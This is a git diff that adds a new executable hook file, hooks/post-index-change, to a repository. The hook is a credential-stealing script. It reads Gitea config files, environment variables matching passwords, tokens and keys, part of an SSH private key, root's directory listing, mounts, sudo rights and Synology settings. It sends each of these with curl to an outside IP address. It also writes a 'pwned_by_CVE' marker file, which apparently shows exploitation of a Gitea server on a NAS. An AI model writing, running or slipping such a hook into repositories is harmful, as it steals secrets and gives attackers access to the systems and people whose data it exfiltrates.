diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..007aeda
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,28 @@
+#!/bin/sh
+# Gitea config
+cat /volume1/@appdata/gitea/conf/app.ini 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_conf
+cat /volume1/@appdata/gitea/custom/conf/app.ini 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_conf2
+# Database creds from env
+env 2>&1 | grep -iE 'db_|pass|secret|token|key|mysql|postgres|psql' | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/db_env
+# Docker socket
+ls -la /var/run/docker.sock 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/docker_sock
+groups 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/groups
+# SSH keys
+ls -la ~/.ssh/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/ssh_dir
+cat ~/.ssh/id_rsa 2>&1 | head -5 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/id_rsa
+# Root home
+ls -la /root/ 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/root_home
+# Volume mounts
+mount 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/mounts
+# Gitea data dir
+ls -laR /volume1/@appdata/gitea/ 2>&1 | head -80 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_dir
+# Synology shared folders
+ls -la /volume1/ 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/volume1
+# Interesting files
+find /volume1/@appdata/gitea -name '*.sqlite' -o -name '*.db' -o -name '*.ini' -o -name '*.key' 2>&1 | head -30 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/gitea_files
+# Sudo
+sudo -l 2>&1 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/sudo
+# Write test file
+echo "pwned_by_CVE-2026-60004_sc-gitea" > /tmp/gitea_pwned_test 2>&1; echo $? | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/write_test
+# Network interfaces
+cat /etc/synoinfo.conf 2>&1 | head -20 | curl -s -m 5 --data-binary @- http://202.79.169.91:28016/synoinfo